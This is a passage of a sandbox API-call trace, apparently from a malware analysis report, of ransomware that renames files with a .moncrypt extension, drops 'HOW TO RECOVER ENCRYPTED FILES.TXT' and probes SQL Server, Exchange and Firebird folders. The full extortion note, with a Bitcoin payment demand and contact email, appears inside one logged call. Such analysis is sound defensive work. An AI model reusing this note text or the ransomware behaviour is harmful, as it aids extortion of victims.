lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.982] CloseHandle (hObject=0x18c) returned 1 [0052.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.983] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.983] CloseHandle (hObject=0x18c) returned 1 [0052.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.984] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.984] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.984] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.984] GlobalUnlock (hMem=0x440004) returned 0 [0052.984] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.984] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.984] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.984] GlobalUnlock (hMem=0x440004) returned 0 [0052.984] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.984] GlobalUnlock (hMem=0x44000c) returned 0 [0052.984] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c0f340, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40c0f340, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40c0f340, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.985] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.985] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.985] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.985] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.985] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.985] CloseHandle (hObject=0x18c) returned 1 [0052.985] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.986] GetLastError () returned 0x12 [0052.986] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.986] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.986] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.986] GlobalUnlock (hMem=0x44000c) returned 0 [0052.986] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.986] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.986] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.986] GlobalUnlock (hMem=0x44000c) returned 0 [0052.986] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.986] GlobalUnlock (hMem=0x440004) returned 0 [0052.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40c354a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40c354a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.986] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.986] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.986] GlobalLock (hMem=0x440004) returned 0x550170 [0052.986] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.986] GlobalUnlock (hMem=0x440004) returned 0 [0052.986] GlobalLock (hMem=0x440004) returned 0x550170 [0052.986] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.986] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.986] GlobalUnlock (hMem=0x440004) returned 0 [0052.986] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.986] GlobalUnlock (hMem=0x44000c) returned 0 [0052.986] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.987] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40c354a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40c354a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.987] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.987] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.987] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.987] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.987] GlobalUnlock (hMem=0x44000c) returned 0 [0052.987] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.987] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.987] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.987] GlobalUnlock (hMem=0x44000c) returned 0 [0052.987] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.987] GlobalUnlock (hMem=0x440004) returned 0 [0052.987] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.987] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40c0f340, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40c0f340, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40c0f340, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.987] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.987] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.987] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.987] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.987] GlobalUnlock (hMem=0x440004) returned 0 [0052.987] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.987] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.987] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.987] GlobalUnlock (hMem=0x440004) returned 0 [0052.987] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.987] GlobalUnlock (hMem=0x44000c) returned 0 [0052.987] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.988] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.988] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.988] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.988] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.988] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.988] GlobalUnlock (hMem=0x44000c) returned 0 [0052.988] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.988] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.988] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.988] GlobalUnlock (hMem=0x44000c) returned 0 [0052.988] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.988] GlobalUnlock (hMem=0x440004) returned 0 [0052.988] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.988] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x12123, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM.moncrypt", cAlternateFileName="RICEPA~1.MON")) returned 1 [0052.988] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.988] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.988] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.988] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.988] GlobalUnlock (hMem=0x440004) returned 0 [0052.988] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.988] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.988] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.988] GlobalUnlock (hMem=0x440004) returned 0 [0052.988] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.988] GlobalUnlock (hMem=0x44000c) returned 0 [0052.988] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.988] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0052.988] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.988] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.989] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.989] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.989] GlobalUnlock (hMem=0x44000c) returned 0 [0052.989] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.989] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.989] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.989] GlobalUnlock (hMem=0x44000c) returned 0 [0052.989] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.989] GlobalUnlock (hMem=0x440004) returned 0 [0052.989] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.989] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.989] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.989] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.989] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.989] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.989] GlobalUnlock (hMem=0x440004) returned 0 [0052.989] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.989] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.989] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.989] GlobalUnlock (hMem=0x440004) returned 0 [0052.989] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.989] GlobalUnlock (hMem=0x44000c) returned 0 [0052.989] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.989] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.989] GetLastError () returned 0x12 [0052.989] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.990] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0052.990] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.990] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.990] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.990] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.990] GlobalUnlock (hMem=0x44000c) returned 0 [0052.990] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.990] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.990] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.990] GlobalUnlock (hMem=0x44000c) returned 0 [0052.990] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.990] GlobalUnlock (hMem=0x440004) returned 0 [0052.990] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.990] GlobalLock (hMem=0x440004) returned 0x550170 [0052.990] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.990] GlobalUnlock (hMem=0x440004) returned 0 [0052.990] GlobalLock (hMem=0x440004) returned 0x550170 [0052.991] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.991] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.991] GlobalUnlock (hMem=0x440004) returned 0 [0052.991] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.991] GlobalUnlock (hMem=0x44000c) returned 0 [0052.991] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.991] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE") returned 1 [0052.991] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.991] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.991] GlobalUnlock (hMem=0x44000c) returned 0 [0052.991] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.991] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.991] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.991] GlobalUnlock (hMem=0x44000c) returned 0 [0052.991] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.991] GlobalUnlock (hMem=0x440004) returned 0 [0052.991] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夎U壢U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.992] GetLastError () returned 0x3 [0052.992] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0052.992] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.992] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0052.993] GetLastError () returned 0x2 [0052.993] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0052.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.993] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0052.994] GetLastError () returned 0x2 [0052.994] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0052.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.994] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a498, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0052.994] GetLastError () returned 0x2 [0052.994] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\") returned 0x3f [0052.994] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.994] 